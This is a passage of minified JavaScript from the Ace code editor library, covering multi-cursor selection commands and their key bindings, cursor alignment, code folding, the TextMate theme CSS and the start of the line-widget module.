editor.selectMoreLines(-1); }, bindKey: {win: "Ctrl-Alt-Up", mac: "Ctrl-Alt-Up"}, scrollIntoView: "cursor", readOnly: true }, { name: "addCursorBelow", exec: function(editor) { editor.selectMoreLines(1); }, bindKey: {win: "Ctrl-Alt-Down", mac: "Ctrl-Alt-Down"}, scrollIntoView: "cursor", readOnly: true }, { name: "addCursorAboveSkipCurrent", exec: function(editor) { editor.selectMoreLines(-1, true); }, bindKey: {win: "Ctrl-Alt-Shift-Up", mac: "Ctrl-Alt-Shift-Up"}, scrollIntoView: "cursor", readOnly: true }, { name: "addCursorBelowSkipCurrent", exec: function(editor) { editor.selectMoreLines(1, true); }, bindKey: {win: "Ctrl-Alt-Shift-Down", mac: "Ctrl-Alt-Shift-Down"}, scrollIntoView: "cursor", readOnly: true }, { name: "selectMoreBefore", exec: function(editor) { editor.selectMore(-1); }, bindKey: {win: "Ctrl-Alt-Left", mac: "Ctrl-Alt-Left"}, scrollIntoView: "cursor", readOnly: true }, { name: "selectMoreAfter", exec: function(editor) { editor.selectMore(1); }, bindKey: {win: "Ctrl-Alt-Right", mac: "Ctrl-Alt-Right"}, scrollIntoView: "cursor", readOnly: true }, { name: "selectNextBefore", exec: function(editor) { editor.selectMore(-1, true); }, bindKey: {win: "Ctrl-Alt-Shift-Left", mac: "Ctrl-Alt-Shift-Left"}, scrollIntoView: "cursor", readOnly: true }, { name: "selectNextAfter", exec: function(editor) { editor.selectMore(1, true); }, bindKey: {win: "Ctrl-Alt-Shift-Right", mac: "Ctrl-Alt-Shift-Right"}, scrollIntoView: "cursor", readOnly: true }, { name: "splitIntoLines", exec: function(editor) { editor.multiSelect.splitIntoLines(); }, bindKey: {win: "Ctrl-Alt-L", mac: "Ctrl-Alt-L"}, readOnly: true }, { name: "alignCursors", exec: function(editor) { editor.alignCursors(); }, bindKey: {win: "Ctrl-Alt-A", mac: "Ctrl-Alt-A"}, scrollIntoView: "cursor" }, { name: "findAll", exec: function(editor) { editor.findAll(); }, bindKey: {win: "Ctrl-Alt-K", mac: "Ctrl-Alt-G"}, scrollIntoView: "cursor", readOnly: true }]; exports.multiSelectCommands = [{ name: "singleSelection", bindKey: "esc", exec: function(editor) { editor.exitMultiSelectMode(); }, scrollIntoView: "cursor", readOnly: true, isAvailable: function(editor) {return editor && editor.inMultiSelectMode} }]; var HashHandler = require("../keyboard/hash_handler").HashHandler; exports.keyboardHandler = new HashHandler(exports.multiSelectCommands); }); ace.define("ace/multi_select",["require","exports","module","ace/range_list","ace/range","ace/selection","ace/mouse/multi_select_handler","ace/lib/event","ace/lib/lang","ace/commands/multi_select_commands","ace/search","ace/edit_session","ace/editor","ace/config"], function(require, exports, module) { var RangeList = require("./range_list").RangeList; var Range = require("./range").Range; var Selection = require("./selection").Selection; var onMouseDown = require("./mouse/multi_select_handler").onMouseDown; var event = require("./lib/event"); var lang = require("./lib/lang"); var commands = require("./commands/multi_select_commands"); exports.commands = commands.defaultCommands.concat(commands.multiSelectCommands); var Search = require("./search").Search; var search = new Search(); function find(session, needle, dir) { search.$options.wrap = true; search.$options.needle = needle; search.$options.backwards = dir == -1; return search.find(session); } var EditSession = require("./edit_session").EditSession; (function() { this.getSelectionMarkers = function() { return this.$selectionMarkers; }; }).call(EditSession.prototype); (function() { this.ranges = null; this.rangeList = null; this.addRange = function(range, $blockChangeEvents) { if (!range) return; if (!this.inMultiSelectMode && this.rangeCount === 0) { var oldRange = this.toOrientedRange(); this.rangeList.add(oldRange); this.rangeList.add(range); if (this.rangeList.ranges.length != 2) { this.rangeList.removeAll(); return $blockChangeEvents || this.fromOrientedRange(range); } this.rangeList.removeAll(); this.rangeList.add(oldRange); this.$onAddRange(oldRange); } if (!range.cursor) range.cursor = range.end; var removed = this.rangeList.add(range); this.$onAddRange(range); if (removed.length) this.$onRemoveRange(removed); if (this.rangeCount > 1 && !this.inMultiSelectMode) { this._signal("multiSelect"); this.inMultiSelectMode = true; this.session.$undoSelect = false; this.rangeList.attach(this.session); } return $blockChangeEvents || this.fromOrientedRange(range); }; this.toSingleRange = function(range) { range = range || this.ranges[0]; var removed = this.rangeList.removeAll(); if (removed.length) this.$onRemoveRange(removed); range && this.fromOrientedRange(range); }; this.substractPoint = function(pos) { var removed = this.rangeList.substractPoint(pos); if (removed) { this.$onRemoveRange(removed); return removed[0]; } }; this.mergeOverlappingRanges = function() { var removed = this.rangeList.merge(); if (removed.length) this.$onRemoveRange(removed); else if(this.ranges[0]) this.fromOrientedRange(this.ranges[0]); }; this.$onAddRange = function(range) { this.rangeCount = this.rangeList.ranges.length; this.ranges.unshift(range); this._signal("addRange", {range: range}); }; this.$onRemoveRange = function(removed) { this.rangeCount = this.rangeList.ranges.length; if (this.rangeCount == 1 && this.inMultiSelectMode) { var lastRange = this.rangeList.ranges.pop(); removed.push(lastRange); this.rangeCount = 0; } for (var i = removed.length; i--; ) { var index = this.ranges.indexOf(removed[i]); this.ranges.splice(index, 1); } this._signal("removeRange", {ranges: removed}); if (this.rangeCount === 0 && this.inMultiSelectMode) { this.inMultiSelectMode = false; this._signal("singleSelect"); this.session.$undoSelect = true; this.rangeList.detach(this.session); } lastRange = lastRange || this.ranges[0]; if (lastRange && !lastRange.isEqual(this.getRange())) this.fromOrientedRange(lastRange); }; this.$initRangeList = function() { if (this.rangeList) return; this.rangeList = new RangeList(); this.ranges = []; this.rangeCount = 0; }; this.getAllRanges = function() { return this.rangeCount ? this.rangeList.ranges.concat() : [this.getRange()]; }; this.splitIntoLines = function () { if (this.rangeCount > 1) { var ranges = this.rangeList.ranges; var lastRange = ranges[ranges.length - 1]; var range = Range.fromPoints(ranges[0].start, lastRange.end); this.toSingleRange(); this.setSelectionRange(range, lastRange.cursor == lastRange.start); } else { var range = this.getRange(); var isBackwards = this.isBackwards(); var startRow = range.start.row; var endRow = range.end.row; if (startRow == endRow) { if (isBackwards) var start = range.end, end = range.start; else var start = range.start, end = range.end; this.addRange(Range.fromPoints(end, end)); this.addRange(Range.fromPoints(start, start)); return; } var rectSel = []; var r = this.getLineRange(startRow, true); r.start.column = range.start.column; rectSel.push(r); for (var i = startRow + 1; i < endRow; i++) rectSel.push(this.getLineRange(i, true)); r = this.getLineRange(endRow, true); r.end.column = range.end.column; rectSel.push(r); rectSel.forEach(this.addRange, this); } }; this.toggleBlockSelection = function () { if (this.rangeCount > 1) { var ranges = this.rangeList.ranges; var lastRange = ranges[ranges.length - 1]; var range = Range.fromPoints(ranges[0].start, lastRange.end); this.toSingleRange(); this.setSelectionRange(range, lastRange.cursor == lastRange.start); } else { var cursor = this.session.documentToScreenPosition(this.selectionLead); var anchor = this.session.documentToScreenPosition(this.selectionAnchor); var rectSel = this.rectangularRangeBlock(cursor, anchor); rectSel.forEach(this.addRange, this); } }; this.rectangularRangeBlock = function(screenCursor, screenAnchor, includeEmptyLines) { var rectSel = []; var xBackwards = screenCursor.column < screenAnchor.column; if (xBackwards) { var startColumn = screenCursor.column; var endColumn = screenAnchor.column; } else { var startColumn = screenAnchor.column; var endColumn = screenCursor.column; } var yBackwards = screenCursor.row < screenAnchor.row; if (yBackwards) { var startRow = screenCursor.row; var endRow = screenAnchor.row; } else { var startRow = screenAnchor.row; var endRow = screenCursor.row; } if (startColumn < 0) startColumn = 0; if (startRow < 0) startRow = 0; if (startRow == endRow) includeEmptyLines = true; for (var row = startRow; row <= endRow; row++) { var range = Range.fromPoints( this.session.screenToDocumentPosition(row, startColumn), this.session.screenToDocumentPosition(row, endColumn) ); if (range.isEmpty()) { if (docEnd && isSamePoint(range.end, docEnd)) break; var docEnd = range.end; } range.cursor = xBackwards ? range.start : range.end; rectSel.push(range); } if (yBackwards) rectSel.reverse(); if (!includeEmptyLines) { var end = rectSel.length - 1; while (rectSel[end].isEmpty() && end > 0) end--; if (end > 0) { var start = 0; while (rectSel[start].isEmpty()) start++; } for (var i = end; i >= start; i--) { if (rectSel[i].isEmpty()) rectSel.splice(i, 1); } } return rectSel; }; }).call(Selection.prototype); var Editor = require("./editor").Editor; (function() { this.updateSelectionMarkers = function() { this.renderer.updateCursor(); this.renderer.updateBackMarkers(); }; this.addSelectionMarker = function(orientedRange) { if (!orientedRange.cursor) orientedRange.cursor = orientedRange.end; var style = this.getSelectionStyle(); orientedRange.marker = this.session.addMarker(orientedRange, "ace_selection", style); this.session.$selectionMarkers.push(orientedRange); this.session.selectionMarkerCount = this.session.$selectionMarkers.length; return orientedRange; }; this.removeSelectionMarker = function(range) { if (!range.marker) return; this.session.removeMarker(range.marker); var index = this.session.$selectionMarkers.indexOf(range); if (index != -1) this.session.$selectionMarkers.splice(index, 1); this.session.selectionMarkerCount = this.session.$selectionMarkers.length; }; this.removeSelectionMarkers = function(ranges) { var markerList = this.session.$selectionMarkers; for (var i = ranges.length; i--; ) { var range = ranges[i]; if (!range.marker) continue; this.session.removeMarker(range.marker); var index = markerList.indexOf(range); if (index != -1) markerList.splice(index, 1); } this.session.selectionMarkerCount = markerList.length; }; this.$onAddRange = function(e) { this.addSelectionMarker(e.range); this.renderer.updateCursor(); this.renderer.updateBackMarkers(); }; this.$onRemoveRange = function(e) { this.removeSelectionMarkers(e.ranges); this.renderer.updateCursor(); this.renderer.updateBackMarkers(); }; this.$onMultiSelect = function(e) { if (this.inMultiSelectMode) return; this.inMultiSelectMode = true; this.setStyle("ace_multiselect"); this.keyBinding.addKeyboardHandler(commands.keyboardHandler); this.commands.setDefaultHandler("exec", this.$onMultiSelectExec); this.renderer.updateCursor(); this.renderer.updateBackMarkers(); }; this.$onSingleSelect = function(e) { if (this.session.multiSelect.inVirtualMode) return; this.inMultiSelectMode = false; this.unsetStyle("ace_multiselect"); this.keyBinding.removeKeyboardHandler(commands.keyboardHandler); this.commands.removeDefaultHandler("exec", this.$onMultiSelectExec); this.renderer.updateCursor(); this.renderer.updateBackMarkers(); this._emit("changeSelection"); }; this.$onMultiSelectExec = function(e) { var command = e.command; var editor = e.editor; if (!editor.multiSelect) return; if (!command.multiSelectAction) { var result = command.exec(editor, e.args || {}); editor.multiSelect.addRange(editor.multiSelect.toOrientedRange()); editor.multiSelect.mergeOverlappingRanges(); } else if (command.multiSelectAction == "forEach") { result = editor.forEachSelection(command, e.args); } else if (command.multiSelectAction == "forEachLine") { result = editor.forEachSelection(command, e.args, true); } else if (command.multiSelectAction == "single") { editor.exitMultiSelectMode(); result = command.exec(editor, e.args || {}); } else { result = command.multiSelectAction(editor, e.args || {}); } return result; }; this.forEachSelection = function(cmd, args, options) { if (this.inVirtualSelectionMode) return; var keepOrder = options && options.keepOrder; var $byLines = options == true || options && options.$byLines var session = this.session; var selection = this.selection; var rangeList = selection.rangeList; var ranges = (keepOrder ? selection : rangeList).ranges; var result; if (!ranges.length) return cmd.exec ? cmd.exec(this, args || {}) : cmd(this, args || {}); var reg = selection._eventRegistry; selection._eventRegistry = {}; var tmpSel = new Selection(session); this.inVirtualSelectionMode = true; for (var i = ranges.length; i--;) { if ($byLines) { while (i > 0 && ranges[i].start.row == ranges[i - 1].end.row) i--; } tmpSel.fromOrientedRange(ranges[i]); tmpSel.index = i; this.selection = session.selection = tmpSel; var cmdResult = cmd.exec ? cmd.exec(this, args || {}) : cmd(this, args || {}); if (!result && cmdResult !== undefined) result = cmdResult; tmpSel.toOrientedRange(ranges[i]); } tmpSel.detach(); this.selection = session.selection = selection; this.inVirtualSelectionMode = false; selection._eventRegistry = reg; selection.mergeOverlappingRanges(); var anim = this.renderer.$scrollAnimation; this.onCursorChange(); this.onSelectionChange(); if (anim && anim.from == anim.to) this.renderer.animateScrolling(anim.from); return result; }; this.exitMultiSelectMode = function() { if (!this.inMultiSelectMode || this.inVirtualSelectionMode) return; this.multiSelect.toSingleRange(); }; this.getSelectedText = function() { var text = ""; if (this.inMultiSelectMode && !this.inVirtualSelectionMode) { var ranges = this.multiSelect.rangeList.ranges; var buf = []; for (var i = 0; i < ranges.length; i++) { buf.push(this.session.getTextRange(ranges[i])); } var nl = this.session.getDocument().getNewLineCharacter(); text = buf.join(nl); if (text.length == (buf.length - 1) * nl.length) text = ""; } else if (!this.selection.isEmpty()) { text = this.session.getTextRange(this.getSelectionRange()); } return text; }; this.$checkMultiselectChange = function(e, anchor) { if (this.inMultiSelectMode && !this.inVirtualSelectionMode) { var range = this.multiSelect.ranges[0]; if (this.multiSelect.isEmpty() && anchor == this.multiSelect.anchor) return; var pos = anchor == this.multiSelect.anchor ? range.cursor == range.start ? range.end : range.start : range.cursor; if (pos.row != anchor.row || this.session.$clipPositionToDocument(pos.row, pos.column).column != anchor.column) this.multiSelect.toSingleRange(this.multiSelect.toOrientedRange()); } }; this.findAll = function(needle, options, additive) { options = options || {}; options.needle = needle || options.needle; if (options.needle == undefined) { var range = this.selection.isEmpty() ? this.selection.getWordRange() : this.selection.getRange(); options.needle = this.session.getTextRange(range); } this.$search.set(options); var ranges = this.$search.findAll(this.session); if (!ranges.length) return 0; this.$blockScrolling += 1; var selection = this.multiSelect; if (!additive) selection.toSingleRange(ranges[0]); for (var i = ranges.length; i--; ) selection.addRange(ranges[i], true); if (range && selection.rangeList.rangeAtPoint(range.start)) selection.addRange(range, true); this.$blockScrolling -= 1; return ranges.length; }; this.selectMoreLines = function(dir, skip) { var range = this.selection.toOrientedRange(); var isBackwards = range.cursor == range.end; var screenLead = this.session.documentToScreenPosition(range.cursor); if (this.selection.$desiredColumn) screenLead.column = this.selection.$desiredColumn; var lead = this.session.screenToDocumentPosition(screenLead.row + dir, screenLead.column); if (!range.isEmpty()) { var screenAnchor = this.session.documentToScreenPosition(isBackwards ? range.end : range.start); var anchor = this.session.screenToDocumentPosition(screenAnchor.row + dir, screenAnchor.column); } else { var anchor = lead; } if (isBackwards) { var newRange = Range.fromPoints(lead, anchor); newRange.cursor = newRange.start; } else { var newRange = Range.fromPoints(anchor, lead); newRange.cursor = newRange.end; } newRange.desiredColumn = screenLead.column; if (!this.selection.inMultiSelectMode) { this.selection.addRange(range); } else { if (skip) var toRemove = range.cursor; } this.selection.addRange(newRange); if (toRemove) this.selection.substractPoint(toRemove); }; this.transposeSelections = function(dir) { var session = this.session; var sel = session.multiSelect; var all = sel.ranges; for (var i = all.length; i--; ) { var range = all[i]; if (range.isEmpty()) { var tmp = session.getWordRange(range.start.row, range.start.column); range.start.row = tmp.start.row; range.start.column = tmp.start.column; range.end.row = tmp.end.row; range.end.column = tmp.end.column; } } sel.mergeOverlappingRanges(); var words = []; for (var i = all.length; i--; ) { var range = all[i]; words.unshift(session.getTextRange(range)); } if (dir < 0) words.unshift(words.pop()); else words.push(words.shift()); for (var i = all.length; i--; ) { var range = all[i]; var tmp = range.clone(); session.replace(range, words[i]); range.start.row = tmp.start.row; range.start.column = tmp.start.column; } }; this.selectMore = function(dir, skip, stopAtFirst) { var session = this.session; var sel = session.multiSelect; var range = sel.toOrientedRange(); if (range.isEmpty()) { range = session.getWordRange(range.start.row, range.start.column); range.cursor = dir == -1 ? range.start : range.end; this.multiSelect.addRange(range); if (stopAtFirst) return; } var needle = session.getTextRange(range); var newRange = find(session, needle, dir); if (newRange) { newRange.cursor = dir == -1 ? newRange.start : newRange.end; this.$blockScrolling += 1; this.session.unfold(newRange); this.multiSelect.addRange(newRange); this.$blockScrolling -= 1; this.renderer.scrollCursorIntoView(null, 0.5); } if (skip) this.multiSelect.substractPoint(range.cursor); }; this.alignCursors = function() { var session = this.session; var sel = session.multiSelect; var ranges = sel.ranges; var row = -1; var sameRowRanges = ranges.filter(function(r) { if (r.cursor.row == row) return true; row = r.cursor.row; }); if (!ranges.length || sameRowRanges.length == ranges.length - 1) { var range = this.selection.getRange(); var fr = range.start.row, lr = range.end.row; var guessRange = fr == lr; if (guessRange) { var max = this.session.getLength(); var line; do { line = this.session.getLine(lr); } while (/[=:]/.test(line) && ++lr < max); do { line = this.session.getLine(fr); } while (/[=:]/.test(line) && --fr > 0); if (fr < 0) fr = 0; if (lr >= max) lr = max - 1; } var lines = this.session.removeFullLines(fr, lr); lines = this.$reAlignText(lines, guessRange); this.session.insert({row: fr, column: 0}, lines.join("\n") + "\n"); if (!guessRange) { range.start.column = 0; range.end.column = lines[lines.length - 1].length; } this.selection.setRange(range); } else { sameRowRanges.forEach(function(r) { sel.substractPoint(r.cursor); }); var maxCol = 0; var minSpace = Infinity; var spaceOffsets = ranges.map(function(r) { var p = r.cursor; var line = session.getLine(p.row); var spaceOffset = line.substr(p.column).search(/\S/g); if (spaceOffset == -1) spaceOffset = 0; if (p.column > maxCol) maxCol = p.column; if (spaceOffset < minSpace) minSpace = spaceOffset; return spaceOffset; }); ranges.forEach(function(r, i) { var p = r.cursor; var l = maxCol - p.column; var d = spaceOffsets[i] - minSpace; if (l > d) session.insert(p, lang.stringRepeat(" ", l - d)); else session.remove(new Range(p.row, p.column, p.row, p.column - l + d)); r.start.column = r.end.column = maxCol; r.start.row = r.end.row = p.row; r.cursor = r.end; }); sel.fromOrientedRange(ranges[0]); this.renderer.updateCursor(); this.renderer.updateBackMarkers(); } }; this.$reAlignText = function(lines, forceLeft) { var isLeftAligned = true, isRightAligned = true; var startW, textW, endW; return lines.map(function(line) { var m = line.match(/(\s*)(.*?)(\s*)([=:].*)/); if (!m) return [line]; if (startW == null) { startW = m[1].length; textW = m[2].length; endW = m[3].length; return m; } if (startW + textW + endW != m[1].length + m[2].length + m[3].length) isRightAligned = false; if (startW != m[1].length) isLeftAligned = false; if (startW > m[1].length) startW = m[1].length; if (textW < m[2].length) textW = m[2].length; if (endW > m[3].length) endW = m[3].length; return m; }).map(forceLeft ? alignLeft : isLeftAligned ? isRightAligned ? alignRight : alignLeft : unAlign); function spaces(n) { return lang.stringRepeat(" ", n); } function alignLeft(m) { return !m[2] ? m[0] : spaces(startW) + m[2] + spaces(textW - m[2].length + endW) + m[4].replace(/^([=:])\s+/, "$1 "); } function alignRight(m) { return !m[2] ? m[0] : spaces(startW + textW - m[2].length) + m[2] + spaces(endW, " ") + m[4].replace(/^([=:])\s+/, "$1 "); } function unAlign(m) { return !m[2] ? m[0] : spaces(startW) + m[2] + spaces(endW) + m[4].replace(/^([=:])\s+/, "$1 "); } }; }).call(Editor.prototype); function isSamePoint(p1, p2) { return p1.row == p2.row && p1.column == p2.column; } exports.onSessionChange = function(e) { var session = e.session; if (session && !session.multiSelect) { session.$selectionMarkers = []; session.selection.$initRangeList(); session.multiSelect = session.selection; } this.multiSelect = session && session.multiSelect; var oldSession = e.oldSession; if (oldSession) { oldSession.multiSelect.off("addRange", this.$onAddRange); oldSession.multiSelect.off("removeRange", this.$onRemoveRange); oldSession.multiSelect.off("multiSelect", this.$onMultiSelect); oldSession.multiSelect.off("singleSelect", this.$onSingleSelect); oldSession.multiSelect.lead.off("change", this.$checkMultiselectChange); oldSession.multiSelect.anchor.off("change", this.$checkMultiselectChange); } if (session) { session.multiSelect.on("addRange", this.$onAddRange); session.multiSelect.on("removeRange", this.$onRemoveRange); session.multiSelect.on("multiSelect", this.$onMultiSelect); session.multiSelect.on("singleSelect", this.$onSingleSelect); session.multiSelect.lead.on("change", this.$checkMultiselectChange); session.multiSelect.anchor.on("change", this.$checkMultiselectChange); } if (session && this.inMultiSelectMode != session.selection.inMultiSelectMode) { if (session.selection.inMultiSelectMode) this.$onMultiSelect(); else this.$onSingleSelect(); } }; function MultiSelect(editor) { if (editor.$multiselectOnSessionChange) return; editor.$onAddRange = editor.$onAddRange.bind(editor); editor.$onRemoveRange = editor.$onRemoveRange.bind(editor); editor.$onMultiSelect = editor.$onMultiSelect.bind(editor); editor.$onSingleSelect = editor.$onSingleSelect.bind(editor); editor.$multiselectOnSessionChange = exports.onSessionChange.bind(editor); editor.$checkMultiselectChange = editor.$checkMultiselectChange.bind(editor); editor.$multiselectOnSessionChange(editor); editor.on("changeSession", editor.$multiselectOnSessionChange); editor.on("mousedown", onMouseDown); editor.commands.addCommands(commands.defaultCommands); addAltCursorListeners(editor); } function addAltCursorListeners(editor){ var el = editor.textInput.getElement(); var altCursor = false; event.addListener(el, "keydown", function(e) { var altDown = e.keyCode == 18 && !(e.ctrlKey || e.shiftKey || e.metaKey); if (editor.$blockSelectEnabled && altDown) { if (!altCursor) { editor.renderer.setMouseCursor("crosshair"); altCursor = true; } } else if (altCursor) { reset(); } }); event.addListener(el, "keyup", reset); event.addListener(el, "blur", reset); function reset(e) { if (altCursor) { editor.renderer.setMouseCursor(""); altCursor = false; } } } exports.MultiSelect = MultiSelect; require("./config").defineOptions(Editor.prototype, "editor", { enableMultiselect: { set: function(val) { MultiSelect(this); if (val) { this.on("changeSession", this.$multiselectOnSessionChange); this.on("mousedown", onMouseDown); } else { this.off("changeSession", this.$multiselectOnSessionChange); this.off("mousedown", onMouseDown); } }, value: true }, enableBlockSelect: { set: function(val) { this.$blockSelectEnabled = val; }, value: true } }); }); ace.define("ace/mode/folding/fold_mode",["require","exports","module","ace/range"], function(require, exports, module) { "use strict"; var Range = require("../../range").Range; var FoldMode = exports.FoldMode = function() {}; (function() { this.foldingStartMarker = null; this.foldingStopMarker = null; this.getFoldWidget = function(session, foldStyle, row) { var line = session.getLine(row); if (this.foldingStartMarker.test(line)) return "start"; if (foldStyle == "markbeginend" && this.foldingStopMarker && this.foldingStopMarker.test(line)) return "end"; return ""; }; this.getFoldWidgetRange = function(session, foldStyle, row) { return null; }; this.indentationBlock = function(session, row, column) { var re = /\S/; var line = session.getLine(row); var startLevel = line.search(re); if (startLevel == -1) return; var startColumn = column || line.length; var maxRow = session.getLength(); var startRow = row; var endRow = row; while (++row < maxRow) { var level = session.getLine(row).search(re); if (level == -1) continue; if (level <= startLevel) break; endRow = row; } if (endRow > startRow) { var endColumn = session.getLine(endRow).length; return new Range(startRow, startColumn, endRow, endColumn); } }; this.openingBracketBlock = function(session, bracket, row, column, typeRe) { var start = {row: row, column: column + 1}; var end = session.$findClosingBracket(bracket, start, typeRe); if (!end) return; var fw = session.foldWidgets[end.row]; if (fw == null) fw = session.getFoldWidget(end.row); if (fw == "start" && end.row > start.row) { end.row --; end.column = session.getLine(end.row).length; } return Range.fromPoints(start, end); }; this.closingBracketBlock = function(session, bracket, row, column, typeRe) { var end = {row: row, column: column}; var start = session.$findOpeningBracket(bracket, end); if (!start) return; start.column++; end.column--; return Range.fromPoints(start, end); }; }).call(FoldMode.prototype); }); ace.define("ace/theme/textmate",["require","exports","module","ace/lib/dom"], function(require, exports, module) { "use strict"; exports.isDark = false; exports.cssClass = "ace-tm"; exports.cssText = ".ace-tm .ace_gutter {\ background: #f0f0f0;\ color: #333;\ }\ .ace-tm .ace_print-margin {\ width: 1px;\ background: #e8e8e8;\ }\ .ace-tm .ace_fold {\ background-color: #6B72E6;\ }\ .ace-tm {\ background-color: #FFFFFF;\ color: black;\ }\ .ace-tm .ace_cursor {\ color: black;\ }\ .ace-tm .ace_invisible {\ color: rgb(191, 191, 191);\ }\ .ace-tm .ace_storage,\ .ace-tm .ace_keyword {\ color: blue;\ }\ .ace-tm .ace_constant {\ color: rgb(197, 6, 11);\ }\ .ace-tm .ace_constant.ace_buildin {\ color: rgb(88, 72, 246);\ }\ .ace-tm .ace_constant.ace_language {\ color: rgb(88, 92, 246);\ }\ .ace-tm .ace_constant.ace_library {\ color: rgb(6, 150, 14);\ }\ .ace-tm .ace_invalid {\ background-color: rgba(255, 0, 0, 0.1);\ color: red;\ }\ .ace-tm .ace_support.ace_function {\ color: rgb(60, 76, 114);\ }\ .ace-tm .ace_support.ace_constant {\ color: rgb(6, 150, 14);\ }\ .ace-tm .ace_support.ace_type,\ .ace-tm .ace_support.ace_class {\ color: rgb(109, 121, 222);\ }\ .ace-tm .ace_keyword.ace_operator {\ color: rgb(104, 118, 135);\ }\ .ace-tm .ace_string {\ color: rgb(3, 106, 7);\ }\ .ace-tm .ace_comment {\ color: rgb(76, 136, 107);\ }\ .ace-tm .ace_comment.ace_doc {\ color: rgb(0, 102, 255);\ }\ .ace-tm .ace_comment.ace_doc.ace_tag {\ color: rgb(128, 159, 191);\ }\ .ace-tm .ace_constant.ace_numeric {\ color: rgb(0, 0, 205);\ }\ .ace-tm .ace_variable {\ color: rgb(49, 132, 149);\ }\ .ace-tm .ace_xml-pe {\ color: rgb(104, 104, 91);\ }\ .ace-tm .ace_entity.ace_name.ace_function {\ color: #0000A2;\ }\ .ace-tm .ace_heading {\ color: rgb(12, 7, 255);\ }\ .ace-tm .ace_list {\ color:rgb(185, 6, 144);\ }\ .ace-tm .ace_meta.ace_tag {\ color:rgb(0, 22, 142);\ }\ .ace-tm .ace_string.ace_regex {\ color: rgb(255, 0, 0)\ }\ .ace-tm .ace_marker-layer .ace_selection {\ background: rgb(181, 213, 255);\ }\ .ace-tm.ace_multiselect .ace_selection.ace_start {\ box-shadow: 0 0 3px 0px white;\ }\ .ace-tm .ace_marker-layer .ace_step {\ background: rgb(252, 255, 0);\ }\ .ace-tm .ace_marker-layer .ace_stack {\ background: rgb(164, 229, 101);\ }\ .ace-tm .ace_marker-layer .ace_bracket {\ margin: -1px 0 0 -1px;\ border: 1px solid rgb(192, 192, 192);\ }\ .ace-tm .ace_marker-layer .ace_active-line {\ background: rgba(0, 0, 0, 0.07);\ }\ .ace-tm .ace_gutter-active-line {\ background-color : #dcdcdc;\ }\ .ace-tm .ace_marker-layer .ace_selected-word {\ background: rgb(250, 250, 255);\ border: 1px solid rgb(200, 200, 250);\ }\ .ace-tm .ace_indent-guide {\ background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;\ }\ "; var dom = require("../lib/dom"); dom.importCssString(exports.cssText, exports.cssClass); }); ace.define("ace/line_widgets",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/range"], function(require, exports, module) { "use strict"; var oop = require("./lib/oop"); var dom = require("./lib/dom"); var Range = require("./range").Range; function LineWidgets(session) { this.session = session; this.session.widgetManager = this; this.session.getRowLength = this.getRowLength; this.session.$getWidgetScreenLength = this.$getWidgetScreenLength; this.updateOnChange = this.updateOnChange.bind(this); this.renderWidgets = this.renderWidgets.bind(this); this.measureWidgets = this.measureWidgets.bind(this); this.session._changedWidgets = []; this.$onChangeEditor = this.$onChangeEditor.bind(this); this.session.on("change", this.updateOnChange); this.session.on("changeFold", this.updateOnFold); this.session.on("changeEditor", this.$onChangeEditor); } (function() { this.getRowLength = function(row) { var h; if (this.lineWidgets) h = this.lineWidgets[row] && this.lineWidgets[row].rowCount || 0; else h = 0; if (!this.$useWrapMode || !this.$wrapData[row]) { return 1 + h; } else { return this.$wrapData[row].length + 1 + h; } }; this.$getWidgetScreenLength = function() { var screenRows = 0; this.lineWidgets.forEach(function(w){ if (w && w.rowCount && !w.hidden) screenRows += w.rowCount; }); return screenRows; }; this.$onChangeEditor = function(e) { this.attach(e.editor); }; this.attach = function(editor) { if (editor && editor.widgetManager && editor.widgetManager != this) editor.widgetManager.detach(); if (this.editor == editor) return; this.detach(); this.editor = editor; if (editor) { editor.widgetManager = this; editor.renderer.on("beforeRender", this.measureWidgets); editor.renderer.on("afterRender", this.renderWidgets); } }; this.detach = function(e) { var editor = this.editor; if (!editor) return; this.editor = null; editor.widgetManager = null; editor.renderer.off("beforeRender", this.measureWidgets); editor.renderer.off("afterRender", this.renderWidgets); var lineWidgets = this.session.lineWidgets; lineWidgets && lineWidgets.forEach(function(w) { if (w && w.el && w.el.parentNode) { w._inDocument = false; w.el.parentNode.removeChild(w.el); } }); }; this.updateOnFold = function(e, session) { var lineWidgets = session.lineWidgets; if (!lineWidgets || !e.action) return; var fold = e.data; var start = fold.start.row; var end = fold.end.row; var hide = e.action == "add"; for (var i = start + 1; i < end; i++) { if (lineWidgets[i]) lineWidgets[i].hidden = hide; } if (lineWidgets[end]) { if (hide) { if (!lineWidgets[start]) lineWidgets[start] = lineWidgets[end]; else lineWidgets[end].hidden = hide; } else { if (lineWidgets[start] == lineWidgets[end]) lineWidgets[start] = undefined; lineWidgets[end].hidden = hide; } } }; this.updateOnChange = function(delta) { var lineWidgets = this.session.lineWidgets; if (!lineWidgets) return; var startRow = delta.start.row; var len = delta.end.row - startRow; if (len === 0) { } else if (delta.action == 'remove') { var removed = lineWidgets.splice(startRow + 1, len); removed.forEach(function(w) { w && this.removeLineWidget(w); }, this); this.$updateRows(); } else { var args = new Array(len); args.unshift(startRow, 0); lineWidgets.splice.apply(lineWidgets, args); this.$updateRows(); } }; this.$updateRows = function() { var lineWidgets = this.session.lineWidgets; if (!lineWidgets) return; var noWidgets = true; lineWidgets.forEach(function(w, i) { if (w) { noWidgets = false; w.row = i; while (w.$oldWidget) { w.$oldWidget.row = i; w = w.$oldWidget; } } }); if (noWidgets) this.session.lineWidgets = null; }; this.addLineWidget = function(w) { if (!this.session.lineWidgets) this.session.lineWidgets = new Array(this.session.getLength()); var old = this.session.lineWidgets[w.row]; if (old) { w.$oldWidget = old; if (old.el && old.el.parentNode) { old.el.parentNode.removeChild(old.el); old._inDocument = false; } } this.session.lineWidgets[w.row] = w; w.session = this.session; var renderer = this.editor.renderer; if (w.html && !w.el) { w.el = dom.createElement("div"); w.el.innerHTML = w.html; } if (w.el) { dom.addCssClass(w.el, "ace_lineWidgetContainer"); w.el.style.position = "absolute"; w.el.style.zIndex = 5; renderer.container.appendChild(w.el); w._inDocument = true; } if (!w.coverGutter) { w.el.style.zIndex = 3; } if (!w.pixelHeight) { w.pixelHeight = w.el.offsetHeight; } if (w.rowCount == null) { w.rowCount = w.pixelHeight / renderer.layerConfig.lineHeight; } var fold = this.session.getFoldAt(w.row, 0); w.$fold = fold; if (fold) { var lineWidgets = this.session.lineWidgets; if (w.row == fold.end.row && 